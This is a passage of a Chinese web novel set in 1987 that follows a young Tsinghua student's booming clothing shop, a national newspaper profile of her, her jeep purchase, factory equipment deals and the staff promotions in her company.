更不要提这满屋子的漂亮衣服，就是那白衬衫都要比外面得好看，怪不得林珊敢卖得比百货大楼都贵, 她是真得有底气！ 梁小慧虽然之前就听魏雪琴说过服装店特别好, 但今天来了才明白过来有多厉害。除了店漂亮，衣服好看之外，这儿还有个什么休息区！！！还提供茶水！我的老天爷！ 她对着林珊夸了又夸, 完全不知道她是怎么想出来的，真不愧是高材生！怪不得人家这么能挣钱！ 李倩和她的家人就更不用说了，当即就开始了试衣服。李倩是这个也想买，那个也想要，要不是资金有限，她真的好想把那条连衣裙的各个颜色都买了！ 李倩和她妈妈当场就一人买了两条裙子，林珊坚持免费，还送了她们丝袜和丝巾。 梁小慧相中了一条短裤和一件无袖衬衫，沈丹看上了一条半袖的连衣裙。林珊全部给她俩免费，丝袜和丝巾也一样照送。 尽管大家都硬要给钱，林珊仍然坚持不收，彼此双方上演了几回“推搡打架”的戏码，她们才收了衣服。 李倩惊叫：“哇！这袋子真好看！” 梁小慧也惊讶得不行，居然连包衣服的袋子都是专门请人做的！ 林珊没想到她们对这个包装袋这么有感觉，见大家喜欢，当即就送了几个袋子，方便她们回去之后装别的东西用。 除了请来捧场的熟人，自己受到吸引进店来的客人，更是逛得目不暇接。有两位本来是想去百货大楼买鞋的姑娘，直接把钱都花在了店里。不但买了半裙、短裤和T恤，连项链都一人来了一条。 还有一位稍微年长一点的顾客，直接买了左边橱窗里的一套衣服，连类似款的另一个皮包都一块儿买走了。 整个店忙碌却不拥挤，售货员热情周到地服务着客人，等待拿货和包装的途中还能坐在休息室里喝茶，还把她们列为那个叫什么“高级客户”，说是还能累积分数，这样下回再来可以便宜，还会送礼物！ 买衣服的女士们哪儿享受过这种服务啊，一个个出门的时候虽然荷包瘦了，但脸上全都笑呵呵的。“红珊服装店”不但衣服款式新颖洋气、质量极好，环境还特别优美，服务更是好得让人舍不得离开！ 京市有点小钱又爱美的女士们，不但对价格的接受度高，对新颖款式的接受度更高。好几款林珊拿的时候觉得稍微有些大胆的衣服，竟然上来就卖了好几件。 沈丹在旁边观察了一会儿，凑过 来小声对林珊说:“明天我让人来给你和服装店拍几张照片怎么样？” 林珊知道这宣传效果肯定更好，当然求之不得了，只是，“可以吗，不会违反纪律吧，我怕太麻烦姐。” 沈丹笑了，“哪里那么容易就违反纪律的，不麻烦。” 林珊笑着点点头，“那谢谢丹姐啦，我一天都在店里，你们什么时候过来都可以。” “好，我待会儿回去就跟人靠时间。”沈丹说完拍了拍林珊的肩，环顾四周一圈，冲她竖了个大拇指，“真厉害，不愧是清大的高材生。” 林珊腼腆地笑笑，实在是不习惯被人这么夸奖。也不知道为什么，每回一被人这么夸学校，她就觉得特别不好意思。 服装店上午生意红火，等到了下午即使少了请来捧场的熟人，照样需要拉围栏分流。林珊知道这应该是传播效应差不多开始慢慢发酵了。 晚上贺正岩来接她，林珊回去之后正吃着饭，眼皮就有点儿抬不开了。贺正岩知道她这是真累了，早上五点钟就起来忙活，接待了那么多客人，一直忙到晚上八点多能不困吗。 贺正岩既心疼，又有些不知道还能帮她干点儿什么的感觉，他不敢多耽搁，把林珊拉到沙发上歇着，用最快的速度把碗筷清洗好，门窗给关好之后，就赶紧离开了。 林珊当晚睡了好觉，一觉就睡到了六点半。简单吃过早餐后，她就去服装店了。今天沈丹要带人过来拍摄，她就又稍微布置了一下，让整个店更加有氛围感。 十一点钟的时候，沈丹带着一位四十来岁的男同事过来拍照，她管人叫“马哥”，林珊自然也跟着她这么称呼了。 马哥穿着个白色汗衫，戴着副眼镜，身上的大相机一看就不一般。三人简单聊了几句后，他就开始干活了。一会儿走到这儿，一会儿挪到那儿，一会儿又跑到店门外，寻找着最佳角度。 沈丹趁着空档对林珊说：“稿子过了，主编还挺喜欢的，本来我还想着加照片的事儿得跟他好好说一通呢，结果他没打磕巴就同意了！” 林珊很开心：“谢谢姐，姐真厉害！” 沈丹笑了，“是你本身的事迹厉害。” 林珊摇头：“还是姐厉害。” 沈丹哈哈大笑：“好了好了，咱们姐妹俩就不要谦虚了，都厉害，都厉害！” 两人唠了会儿家常，马哥也找好了角度。 “就在外头吧，侧着，对，就是这个角度，姑娘你站这儿。” 林珊按照马哥比划的角度，调整着自己的站位。 这会儿店内的客人不少，外头也有几位等待入场的客人。马哥找得角度，既能把店面橱窗和招牌拍进去，又能拍到排队的人。 咔咔几张搞定之后，他为了保险，又让林珊进店拍了两张，边拍还边笑着说：“真上镜，介绍给八一厂都能去拍电影了。” 沈丹笑道：“马哥，我妹妹可是清大的高材生，将来要干大事业的。” “诶呦！”马哥惊讶的表情都吓了林珊一跳，清大的威力真得是够劲儿啊。 马哥笑着把相机收了起来，看向林珊的表情都不一样了，“年轻有为，年轻有为啊！” 整个单位都知道沈丹嫁得是部队的领导，她的朋友，家庭出身肯定低不了，不然也开不了这么大的店，他只是没想到人家居然还是清大的高材生！ 林珊腼腆地摆摆手，别夸了别夸了。 “回去之后我们看看用哪张合适，没有意外的话周四能见报。”沈丹说完，又小声凑近林珊：“要是反响好，我就申请给你做成一个系列故事，正好最近上面一直让我们帮着树立‘青年榜样’。” 林珊笑着地点点头，也小声回应她：“谢谢姐，不管成不成，改天我请你吃西餐。” 沈丹乐了，“好！” 服装店第二天的生意比第一天还好，很多都是昨天买过的姑娘带着朋友或亲戚过来逛的。一天下来，林珊对京市姑娘们的消费水平感到震惊。照这么发展下去，可能九月中就要补货了。 晚上贺正岩又来接林珊，她有点儿不好意，“你每天这么忙，还让你天天往这儿跑。” 贺正岩笑着握住她的手，“就这几天而已，再说了，这么晚还是我送你回去放心。” 林珊心里很温暖，但是想到以后业务会越来越繁忙，不可能天天都在公交车停运前回去，自行车的脚程又实在有限，是时候买辆摩托或者二手汽车了。 她把想法一说，贺正岩想都没想就把摩托车给排除了，“太危险了，风水日晒的，冬天一结冰根本就上不了路。” 林珊点点头，听话得打消了买摩托车的想法，她主要是觉得那个便宜点儿，而且这个时期的二手车也不是很好找。 贺正岩懂点儿车，直接跟她说了说现在的行情。87年市面上合法合规跑上路的车，绝大部分都是国产车。分别是红旗牌、上海牌、解放牌和212吉普。 红旗牌林珊暂时不考虑了，太正式，感觉不太合适。上海牌太贵，一辆小轿车就要八万块，解放牌的轿车四万，212吉普五万多。 林珊从经济角度考虑肯定想选解放牌轿车，但是贺正岩建议她考虑212，“这车不限地形，哪儿都能跑。冬天大雪天，加上链子照样哪儿都能去。” “好，那就212吧。”目前这个阶段以实用为主。 贺正岩点点头：“那我帮你打听一下，三万来块应该能弄来一台七八成新的。” “谢谢。”林珊笑得甜滋滋的，“有个对象真好。” 贺正岩一怔，随即乐出了声。 120-140 第121章 第121章 登全国报 有了车, 还得有驾照才行。 林珊知道这时期的驾照都极其好拿，甚至只要有熟人，来了就能给办。林珊没想为了这个找人, 她准备抽空去交通队问问，然后考一个去。 贺正岩很支持她这种想法, 无论什么时候都是安全第一。而且为了让林珊先熟悉一下车，他决定有空的时候, 带她先去没人的地方练练。 所以这两天在服装店忙完之后，林珊都在练车。 贺正岩没想到她连开车都能学得这么快, 忍不住夸了又夸。林珊可不好意思了, 脸都红了。 毕竟她在后世都学过，平时也自己开车上下班, 自然对车不陌生。就是手动挡怎么开已经有些生疏了, 所以他稍微一教, 她可不就学会了吗。 反正不管怎么样，她在对象那儿“小天才”的印象算是又加深了。 周四, 报纸出来了。 林珊一大早就跑去报摊买了两份。打开一开, 她惊讶得发现自己竟然出现在第一页的侧面！ 沈丹的故事写得非常精彩。专业的就是不一样, 上来一通身世煽情把林珊自己都看感性了，跟着直接讲述她如何发愤图强，冒着严寒酷暑卖包子补贴家用，最后不但以省状元的身份考上了清大，还在京市开了一家服装店。 文章赞扬她就算考上了清大, 也没有骄傲自持看不起个体户, 反而响应号召，利用课余时间做起了个体户，除了她本身的吃苦耐劳、勤奋努力外, 在好政策的引领下，如今终于成功开设了一家服装店。 文章中间是林珊站在服装店门口的照片。她看上去特别天真无害，笑得很好看，身后的服装店明亮新颖，大大的招牌非常显眼。 这文章字数不长，却把该写的该表达的全都顾到了。身世和奋斗的部分写得非常煽情，让人极其动容。同时又没有透露过多的细节，留下将来做系列故事的悬念和引子，当然了，通篇对国家和政策的赞扬更是浑然天成。 林珊看完之后深感佩服，心里直呼丹姐牛啊。 其实在八十年代后期，因为有大量的待业青年，很多地方都在想办法号召青年去加入个体户的行列，但是吃大锅饭，以工人和军人为光荣的年代，人的观念不是那么容易改变的。大家都想找找人，花点儿钱 ，好给分配个铁饭碗。 做工作的同志一说让人去搞个体户，对方脸瞬间拉得老长。干个体户连对象都不好找！ 虽然有像粤城深城这样的地方，京市的情况比其他地方好一些，但主流还是觉得个体户不好，更别说前几年还老抓人，现在又让人去干这个，老实的群众一时还转不过来弯儿。 沈丹的这篇文章估计是想告诉大家，看看人家省状元、清大的高材生都抽空干个体户了，这还有什么好丢人的，同时也更说明个体户一定能赚到钱，不然也弄不了这么大的店，只要大家努力奋斗，相信一定什么都能有。 一篇短短的文章，既让报社满意，又上边满意，林珊就更不用说了，这宣传效果简直了！最重要的是还传达了开放的中心思想。 林珊这回说什么也要请沈丹吃顿大的。想起她家可爱的小琳琳，林珊当即就跑去给阿英打了个电话，请她帮忙挑几套童装寄过来。卢学军跟梁小慧家刚满两岁的大宝也要有，不能厚此薄彼。 全国发行量第一的报纸，威力大到林珊无法想象。 赵桂花不是那爱看报纸的人，但隔壁杨老太爱看啊，每天都得让红梅出去买报纸，特别关心国家大事。今天正翻着翻着，居然看见了熟悉的面孔，再一瞧具体内容，好家伙！还真是她认识的林珊！ 杨老太立刻拿着报纸去了隔壁，赵桂花一瞧居然真得是自己闺女，当即笑得合不拢嘴，直说林珊连跟她提都没提过。 没想到开服装店的事儿都能上这么大的报纸，她激动得立刻飞奔出去买了好几份报，碰见街坊邻居就给人家看，没多大一会儿就嚷嚷的周围全知道了。 全国第一的报纸，跟安河日报是不一样的，跟上省城的电视节目也不一样，这毕竟全国啊！国家都表扬她闺女了！ 远在徽省放暑假的徐青，看见报纸上的林珊后，第一反应是愣，第二反应就是尖叫，“诶呀！爸妈！哥！嫂子！！这是我同学！我舍友！！！就是我经常跟你们提的那个‘林珊’！” “哎呦呦，快快快，看看怎么回事！”徐家人都凑了过来。 徐青边看边读，脸上的笑止都止不住，一股与有荣焉的感觉，真厉害啊林珊，服装店好漂亮！过几天返校之后，她一定要去看看！ 徐家人叮嘱徐青：“这小姑娘真优秀，你也要好好努力啊，回去之后多向人家学习。对了，这回除了糕点，多带一些咱这的茶叶，给你们宿舍的俩小姑娘都分分。” “好，我知道了。”徐青笑呵呵的，开心得很。 跟大多数与林珊有关的人看见报纸之后的喜悦不同，张秀英看见之后差点儿呛着，惹得同桌吃早饭的贺振华都看了她一眼。 俩人自从上回林珊来家里吃过饭之后，关系一直冷冰冰的，没有正事儿贺振华平时都不跟她说话，她也不知道这种日子到什么时候才能结束。 本来就过得不舒坦，再一看见林珊上报，还把她给表扬成那样，张秀英原本被贺振华冷怕了的小心思，一瞬间就又都冒出来了。 满脑子都是不甘、愤怒、委屈，甚至还有嫉妒。 其实之前她也冷静分析过事情的原委，自己的儿子和自家侄女她也都批评过了，本来以为贺振华消气之后一切就能回到以前。 但这会儿张秀英突然发现好像不行，她不能看见林珊。看见她，就会有个声音不断地提醒她：你儿子是个废物，你儿子找的对象是个大骗子，你考上清大的侄女也是个蠢货。 再加上她多年来不愿意承认，一直深藏在心里的那些事儿，所有的情绪积攒到一块儿，让张秀英已经没有办法再冷静思考了，满脑子只剩下一个念头：绝对不能让林珊进门。 这丫头必须离得远远的，她才能不想起林兰，不想起自己儿子不如姜春荣儿子的事实！ 看见林珊见报，跟张秀英有同样心情的，还真就是她最恶心的林兰。 遭遇了人生滑铁卢的林兰，正在安河新兴胡同的大杂院里，思考自己的人生。原本今年暑假，贺启明说要带她去北戴河玩儿的。车他都借好了，还整天跟她说那地方多好玩儿，多凉快。 现在……呵，林兰躺在床上苦笑。 贺启明提出分手之后她不是没想过办法挽回，但是那王八蛋吃了秤砣死了心，看见她就跟看见空气一样，闹了两回，每次都是她自己丢人现眼。 学校传遍了她被甩的消息，同学们指指点点，连老师看她的眼神都不一样了。她整天在学校备受煎熬，贺启明却顺利毕了业，还分配了个好地方。 林兰知道自己再这么下去，只会成为全学校的笑柄，所以在没想到下一步该怎么办之前，她只能强打起精神暂时收敛行为，营造出一副“虽然陈世美始乱终弃，但我看开了，要格外发奋图强”的劲头。 尽管她内心恨贺启明，恨贺家，恨林珊恨得要死，但在学校她必须把自己丢掉的脸捡起来。 好在暑假很快到了，她也没有强撑特别久就回了安河。 刘淑芬因为林爱军往家里寄了不少钱的事儿，正开心着，突闻闺女跟贺启明分手的噩耗，瞬间就昏倒了，在床上躺了一天，还是不能接受现实。 那小子不是说要跟她闺女结婚吗！怎么说变就变！ 刘淑芬问不出原因，又怕林兰糊涂跟贺启明发生过关系，只好抓着闺女使劲儿逼问，直到看见林兰摇头，她的心才掉进肚子里，“呸！分就分了，咱再找一个比他更好的！你是大学生！还怕找不着对象？！” 林兰心烦，不想理她。一个暑假不是跑出去看电影滑冰，就是去以前的同学家玩儿，一分钟都不想在家待着。 今天一早，她又在床上回忆过去暗骂贺启明，刘淑芬突然拿着张报纸跑进来晃她，“兰兰！你快起来，帮妈看看这是不是林珊？！” 林兰一听林珊的名字瞬间就坐了起来，一把夺过报纸开始翻看。跟着，她只看了两眼，就愤怒地颤抖起来，气得眼眶都红了，“新时代的好青年？！我呸！臭不要脸的狐狸精！” 林兰瞬间暴走，把报纸撕得稀烂，边撕还边怒骂：“我让你好青年！好青年！你个贱人！贱人！” “诶——你这孩子……”刘淑芬见闺女疯成这样儿，也没敢说这是刘婶的报纸，撕了还得再给人家买一份儿。 原本兰兰一个首都的大学生，又找了一个那么好的对象，爱军在南边也挣着钱了，老大爱民分了房子后也经常待着媳妇儿和孙子孙女回来，明明最难的时候都过去了，这日子眼看就要越来越好了，突然又来了这么一出。 那不要脸的小崽子，凭什么看不上她闺女！ 好了那么长时间，都见过家长了，说分就分？天底下哪有这样的道理，也难怪闺女这么难受！ 偏偏这个时候林珊那死丫头又上报纸了！真是造孽！ 老天真会变着法儿的堵他们一家人的心！ 第122章 第122章 212吉普车 登上全国最大发行量报纸的威力, 林珊这一个礼拜是真真切切感受到了。 如果说之前几天服装店的生意是红火，那见报之后就只有“火爆”来形容了，林珊都需要请闫超过来维持门口排队群众的秩序了。 排队的人不同于以往的清一色女同志, 这回是男女老少都有。看热闹的不在少数，但更多的都是慕名来买衣服的。 这种爆满, 导致销售额直接飞涨，店里的货眼看就要见底, 吓得林珊 赶紧联系阿英安排全面补货。 除了服装店的生意火爆，林珊还收到了好多其他报纸和杂志的来信。基本都是想跟她聊聊, 然后准备把她的故事写成稿子的。 里面有很多是林珊在后世都很熟悉的媒体, 但她没有回复，毕竟早已经跟沈丹靠好了。 收到童装的那天, 林珊就约沈丹去马克西姆餐厅吃饭了。俩人聊得热火朝天, 沈丹开心得表示文章反应很好, 报社收到了不少观众的来信。主编已经同意她开系列故事了，虽然只多给了三篇稿, 但要这已经非常非常难得了。 所以这顿饭, 沈丹都在边吃边问, 把林珊从小到大的事儿都记录了下来。听到林富贵使坏的时候，她恨不得撕碎他，听到她们娘仨赚了小钱，在小破屋里一块儿包包子畅想未来的时候，她又满脸欣慰, 等听到她们遇险被劫的时候, 又紧张得手心全是冷汗。 一顿饭下来，林珊对沈丹又有了新的认识，这是一位嫉恶如仇的好记者。 沈丹听了林珊很多事儿, 心里非常受震撼，天底下就没有成事之人是容易的，这么小的年纪实在令人佩服，不仅林珊，她们娘仨都是好样的，“我这文章要是写下去，妇女报的同志肯定会来抢活儿，你们全家肯定能被当作妇女榜样。” 林珊笑了，赵桂花是个很喜欢上报纸的人，但林红就不同了，所以林珊还是希望不要对她的家庭有过多的描述。 沈丹当然懂，“放心，我写完了先给你看。”都是自己人，哪能不知道分寸。 林珊笑着谢过沈丹，把特意准备的童装送给了她，“给琳琳穿。” “诶呦，这也太漂亮了！你别说，港城来的衣服就是洋气！”沈丹很开心，“谢谢谢谢。” 送完了琳琳的衣服，林珊请她也把大宝的两件衣服捎回去给梁小慧，他们俩家住得特别近，比较方便。 “好啊，没问题。”沈丹笑着收了，看了眼男孩子的衣服，同样好看！ 服装店的火爆程度非常强劲持久，没多久不仅这一片儿，整个西城就都传遍了，都知道百货大楼旁边有家特贵的服装店，不但衣服好看得不行，服务更是让人大开眼界，听说还是大学生开的！ 闫超每天都在外头维持秩序，等到礼拜天的时候更是需要全员戒备。生意好，货就销得快，好在粤城运来京市也不算慢，一切都渐渐上了轨道。 林珊今天也把驾照给考到手了，贺正岩接她回去的路上，就直接让她开着了。林珊很久都没体会过开车上路的感觉，一座上去整个人就兴奋得不行。 不过好在她本身也不是那种寻求刺激的性格，一路开得稳稳当当。 贺正岩在一边儿看得都想给她鼓掌了，“开得真不错。” 林珊笑着感慨：“还是坐车舒服。”这年头路灯少，就算有也又昏又暗的，路也不是后世的柏油路，尤其小街道里还有不少土路，她算是体会到吉普车的好处了。 贺正岩乐了，摸了摸她的脑袋，说：“明天下午两点我约了人看车，你提前准备一下。” “好的！”林珊一听车，瞬间就已经有些迫不及待了。 次日下午，两人来到了离服装店不远的一条小路上，刚拐过去，林珊就看见路边停着两辆车。一辆军绿色212吉普，一辆蓝色212吉普，还不是深蓝，是那种掺了白的蓝，车棚也是配套的浅蓝灰色。 一看就特别打眼，看上去也不旧，贺正岩来的路上说车都是七成新的，买了四五年左右，一辆跑了三千多公里，一辆跑了八千多。 林珊本能得肯定喜欢那辆蓝色的，多漂亮啊，但是从安全角度考虑，太打眼的不太好，尤其又是她一个人开，再加上蓝色那辆开了有八千多公里，比绿色的多了五千公里，所以综合下来还是绿色的更为合适。 贺正岩也这么认为，不过小姑娘都爱漂亮，所以他才让人家把两辆车都开了过来给她看看。 相中车之后，林珊本来还以为会上演自己想象中的砍价，你说三万五，我说三万二的那种，结果没想到人家直接给了实在价，“两万八，你都开口了，我再胡要那还是人么，哥们儿也是要面儿的。” 贺正岩拍了拍对方，“成，你这个情我记下了，改天请你吃饭。” “好嘞，那老莫见。” 贺正岩笑了，“老莫见。” 两万八买了一辆开了五年的吉普车，林珊感觉有点儿像做梦。给了人家钱，拿了钥匙，又过了户，才感觉真实起来。 回去的路上，两人一人一辆车，前后脚到了科研所的房子。 贺正岩叹气：“感觉还不如我送你下班儿来得好。” 林珊笑了，“哪儿能一直这么辛苦你呀。”幸亏他这一阵都在市区忙工作，不然她还真不能每天都在服装店待到那么晚。 贺正岩其实很喜欢这一阵儿的生活，感觉离她越来越近，能看到她更生活化的那一面。比如她累得趴在沙发上睡，叫她一声，答一声，但就是不起的可爱模样。 可惜她后天就开学了，得回宿舍住。 买了车真得就跟长了腿一样，林珊次日一早多睡了将近一个小时才往服装店开，就这到的时候比平时做公交车的时候还早。 之后她除了收账，应该不会每天来带着她们营业了。现在店内一切稳定，员工们也渐渐习惯了这种工作方式，林珊也是时候忙下一步的事情了。 对于服装公司，她的发展规划是开尽可能多的直营店，迎着这年代搞零售都能暴富的风口，把店开满全国主要的大城市。服装不同包子铺，包子铺可以搞加盟，自己赚加工的钱。 服装店除了衣服款式和质量重要，所塑造出来的品牌形象更为重要。这就是为什么她一定要开直营店的原因，只有直营才能全面控制品质。她可不想因为一个贪便宜以次充好的店老板，或者因为一个翻顾客白眼的售货员，就坏了整个品牌的名声。 更别说服装厂开了之后，还要打造自己的品牌，高端就得走直营精品的路子，千万不能犯战略性错误。 至于食品厂买设备的事儿，贺正岩跟他朋友靠在了这周末见面，林珊盘算着时间和厂子那边的进展，要是一切顺利，就是算上培训，年底前还真能把厂子开咯！ 其实买吉普的时候，她也想着要不要给安河那边儿也配个车。但又一想，安河地方小，赵福也早已经搞来了两辆“大侉子”，平时就算满城跑也用不了多长时间，暂时还没有到用车的地方。 再加上之后肯定要给食品厂配运货的车，就没有必要单独买出行用的了。 开学之后，林珊并没有把吉普车开到学校，而是放在了科研所家属院的院子里，自己骑自行车往返家属院和学校。 徐青和陈小娟本来以为服装店已经让她俩够惊讶了，没想到还有居然还有小汽车！坐在吉普车里跟着林珊一块儿去巡视店的滋味，别提多美了。 两人也不管天多热，太阳多晒，直接就把半个身子探出外头，感受着速度与风的碰撞。 林珊制止都制止不住，吓得赶紧放慢了速度。 沈丹那几篇文章的功劳太大，林珊能明显感受到学校里的人对她的态度不一样了，除了挺开心看见她之外，还多了一种自来熟的感觉。 林珊想想也是，自己的事儿基本都写在报纸上了，大家能对她不熟悉吗。感觉有点儿奇怪，但也有很多好处，比如去食堂打饭的时候，大娘给她的饭都冒尖儿。就算回去晚了，宿舍看门的大娘也会笑呵呵给她开门，还叮嘱她多休息，别光顾着生意把身体累坏了。 学校领导都找她谈过一次话，说她做得很好，相信她不会耽误学习的。 张丽丽也不知道怎么回事儿，感觉开学之后人瞬间成熟了，不但课堂上不跟她针锋相对了，就连在宿舍楼遇见，她也没了以前的阴阳怪气。 林珊不明白她这是怎么了，但挺喜欢这种变化的，少一个看不惯自己的总比多一个强。 周日，贺正岩把林珊带到了东城那边的一个院子门口，牌子上写着“建设贸易公司”。 林珊纳闷：“建设贸易公司是什么意思？” 贺正岩笑了，“老板叫严建设。” 林珊：“……” 严建设本人，感觉也没有比他公司的名字靠谱多少。四十出头的年纪，瘦瘦小小的，头发梳得油光锃亮，一见贺正岩领着林珊过来，立刻跑出来迎接。 林珊本来以为他要先跟贺正岩打招呼，结果人家的热情，直勾勾全冲她来了，“诶呦呦，林珊姑娘，你可是咱个体户的骄傲，青年的楷模啊！幸会幸会！” 说着，他还故意开玩笑似的挤开贺正岩，“你起开，我先跟弟妹认识认识。” 林珊没想到在这里都能感受到报纸的威力，更没想到这大哥如此热情，她稍显腼腆地跟对方握了握手，一瞧贺正岩，发现他居然在笑。 “没事儿，严哥就这样，爱开玩笑。” 严建设缩着脖子哈哈笑了两下，带着几分不符合他岁数的皮劲儿，“走走走，屋里谈，屋里谈。” 第123章 第123章 人事调整 林珊懵着进了屋, 喝了茶水，聊了两句正事的之后，发现严建设看着不靠谱, 实际完全不是这么回事儿。 他不但准备了设备照片，还对设备的特点一清二楚, 问啥知道啥。 在知道林珊的厂子既要加工处理原材料，又要制作酱料之后, 立刻把手里的照片一扔，钻到旁边的柜子里搬出一沓文件袋, 跟着又从其中一个文件袋抽出几张照片。 “这个, 切割碾碎一体，价格是了贵点儿, 但一台怎么也比两天划算。封口机你给的那个型号没必要, 这台比那个便宜多了, 也更实用，封个袋子没必要搞那么复杂的机器。” “好。”林珊明白自己被之前的机械厂销售忽悠了。 严建把这两张照片放到一边, 又开始翻找, 边翻边说：“你还要做酱料的话, 刚才那个切割机多进两台，封口找另一种型号，再加一个罐装机就行了。这个——”他把找出来的照片一一拿给林珊看，“瞧着不是很复杂，实际非常好用。” 林珊仔细看了看, 确实不复杂, 但说实话他拿出来的这些照片上的机器，都不是什么高深器具，毕竟这年代基本没有全自动的机器, 绝大多数都是半自动的，需要人工去操作。 “那技术培训的话，您这边……” 严建设笑道：“这个你放心，全都不是什么复杂的东西，我派个人过去，不出一个礼拜就都能懂。” 林珊很满意，随即请对方报个总价格。 严建设拿着计算器按了几下，拿给林珊看，“咱都是自己人，这价格出去可一定帮我保密啊。” 林珊非常惊喜，“好，一定！谢谢严哥！” 她太清楚这价格有多实惠了，原本根据厂家之前给她的报价，林珊想要的这几台机器合在一块儿要七八万才能购齐。 严哥要价只要五万八千多，林珊怎么可能不惊喜。 严建设见林珊也是个爽快人，直接笑着说：“设备我现给你进，凑齐大概需要一个月左右，你什么时候要？” 现在厂房还在建设，林珊估计到十一月中旬上机器正好。 严建设：“行，那我十一月从这边儿直接安排卡车给你送到安河。” “谢谢严哥。”食品厂的大设备暂时搞定之后，林珊又问起做服装的机器。 这可把严建设难住了，“做衣服的我还真不懂，不过我深城有个朋友，他熟悉那边儿的市场，我托他帮你打听一下。” 林珊感激不尽，再次谢过严建设后，开始跟他商量合约和付款的具体事宜。 贺正岩在一旁看着林珊对合同又加了两个保障双方利益的条款，心下非常感慨，他觉得她脑子里一定把这些事儿都想了无数遍，才能对着这么多密密麻麻的字儿，一眼就发现不完善的地方。 他发现她虽然纯善，却不盲信，即使是亲近的人拉的线儿，合约就是合约，必须一清二楚的。 贺正岩知道做生意的可不都是她这样的，他认识的大学生也不要少，也很少像她这么严谨的。怪不得年纪轻轻就能成事儿。 搞定一切之后，两人请严建设吃了顿饭。 难得的礼拜天，剩下的空闲时间林珊就没去服装店，而是跟贺正岩在城区逛了逛才回到学校。 接下来有个计算机全国高校比赛，林珊虽然不是很想参加，但是教授不允许成绩第一的学生不参与。所以为了给老师们留下一个“即使在做生意也没有耽误学习”的好印象，她最近都在微机室忙活。 教授的意思是，获奖的学生有机会获得去美丽国交流学习的机会。这年头出国潮非常火热，大家一听有这种奖励，各个跃跃欲试。 林珊没有意愿出去深造，毕竟志不在此，但是既然参加比赛了，她也不想假装自己不行。这样太假，也会影响她在教授心目中的能力形象，以后不方便请假。 所以林珊最近除了去服装店和包子铺收账视察之前，时间基本都花在了学校。 十月中旬，比赛在清大举行，全国各地计算机系的大学生们纷纷过来参赛。 林珊极其稳定得发挥完自己的水平后，没什么悬念的获得了第一名特等奖。领导们脸上的笑容非常大，看向她的神情越发慈祥。参赛的同学们也纷纷投来钦佩的目光。 只有林珊有点儿煎熬，毕竟拿着先知欺负人，她心虚啊。 张丽丽获得了三等奖。三等奖有三个人，除了她，另外两个别校的。她心里是不甘心，但是成绩在那儿摆着，她也不能睁着眼说自己比林珊强。 其实自从被姑姑狠狠批评了之后，她就收敛多了，知道原来林兰才是大坏蛋之后，她更是沉寂了好一阵儿。再加上又从报纸上看见林珊的故事，她渐渐开始觉得，或许自己是有那么点儿先入为主了。 反正不管怎么样，这回比赛是他们清大获得第一就够了。她要更加努力超越对方！ 林珊得了个第一名，找老师请都硬气了不少。 这回十一假期她没有回安河，就是打算比赛完之后请上两个礼拜的假，回去安排一下食品厂的事儿。 因为有了车，林珊回去也不需要坐火车了。虽然只有三个小时的路程，但由于她是第一次开这么远，贺正岩非常不放心。千叮咛万嘱咐的，要不是他最近实在太忙，根本就想跟着她一块儿跑这一趟。 林珊把贺正岩说的要领都记住了，不要随便停车，不要开太快，遇见大车要避让等等。 其实大白天走国道应该还是挺安全的，再说就仨小时，她开得再快点儿，两个多小时后就到了。不过由于这个时期不少地方的当地人，会劫道要过路费，拦着不让走之类的，还是小心点儿的好。上回他俩没遇上，不代表他们不存在。 林珊带着小心把车开上了国道，跟着一路畅通无阻，到安河的时候还赶上了吃午饭。 赵桂花开心得围着车转了好几圈，然后坐到驾驶位上假装开了两下车，摸摸这儿，看看那儿的，“真好啊这车！” 林红都笑了，“妈，快下来吃饭吧。” 赵桂花：“不急不急，你们俩先吃。” 林珊看她高兴成这个样儿，决定这次回去的时候带桂花女士去京市住几天，看看自家的店铺，再逛逛旅游景点儿。 “啊，你姐肚子大了，我去不合适吧。”赵桂花很想去，但大女儿肚子大了，她觉得自己不好这时候走开。 林红笑道：“妈，我又不是纸糊的，再说还有我婆婆呢。你就去吧，好好玩儿玩儿。” “哈哈。”赵桂花笑得开心，“那、那我就去看看？” 林红乐了，“去看看吧。” 林珊有点儿遗憾林红不能去，虽然后世说前三后三相对危险一点儿，其他时候没什么问题，但是为了保险起见，还是等孩子生了之后再说吧。毕竟出去旅游也不是什么非这个时候不可的事儿。 吃完午饭后，林珊去大河村的厂子看了看，厂房已经快要封顶了，其他地方的管道什么的也都铺设完毕了。林珊 见赵福又瘦了一圈，知道盖这个厂子真是累着他了。 回公司之后，林珊把目前的人事结构，重新调整优化了一下。 赵福是食品公司的总经理，之前主要负责加盟业务，开始建厂之后，他除了要主抓厂子的事儿，同时还得兼顾加盟的业务。即使后续又招了不少人，也不用他亲自去外地，但是多操一股子心终究是不一样的。 林珊准备把城南的店长张学强提拔上来，让他担任加盟业务的主管。张学强把城南店经营得非常好，好几次业绩都冲到了所有铺子的第一名。人又能说会道的，非常适合主管加盟业务。 林珊把这个想法跟赵福一说，他立刻表示赞成，加盟的事确实有点儿顾不过来了，多个人来帮忙，他也能喘口气。 林珊见他没有半点被分权的不开心，心下很赞赏，“那好，你没有意见我就找他聊聊。” 赵福连忙摆手：“没没没，你做主就行。” 林珊傍晚就去找张学强了，她把事情一说，张学强瞬间两眼放光。谁不想往上升啊，本来他想着要是将来能去厂子就好了，结果这差事更好！不但工资高，还能到处逛逛！ 林珊见他很欣喜，就让他留意一下店内有谁能够接替店长的位置，没有的话就再招人，等一切交接培训好之后，再上任新工作。 张学强猛点头，立即开始行动。 加盟业务那边暂时不用操心之后，林珊又决定让城东铺子的店长、王军的表姐徐娟，主管厂子建成之后的配料加工部门。徐娟能力强，人也雷厉风行，能镇住厂面，对配料也熟悉。 至于老店的店长薛凤琴，则负责厂子建成之后，所有产品的质检工作。她为人谨慎细致，做事又很有原则，非常适合这个岗位。 至于林珊一直想给公司找的行政主管兼人事招聘，那就非城北铺子的店长李春刚莫属了。 他的城北铺子是所有店里，用具损耗最小的铺子，说明他在这方面管理很严格，也很有一套，而且李春刚交际甚广，哪儿都有认识的人，他本人又不属于那种精明滑头的类型，很有原则。所以调来公司当行政经理最合适。 林珊挨个跟他们谈过之后，大家都表示愿意接受新的岗位。毕竟钱又多了，“官儿”又升了，心里肯定开心。 第124章 第124章 赵桂花进京 调整好公司的人事结构之后, 林珊又去工行申请了一笔新的贷款，数额同样是十万。这次的过程比上次还顺利，毕竟还款记录优秀, 公司又在迅猛发展，行长恨不得多几个这样的客户。 林珊不是不想贷多点儿, 而是这个数额比较好批。目前公司账上的钱进进出出，虽然京市服装店非常赚, 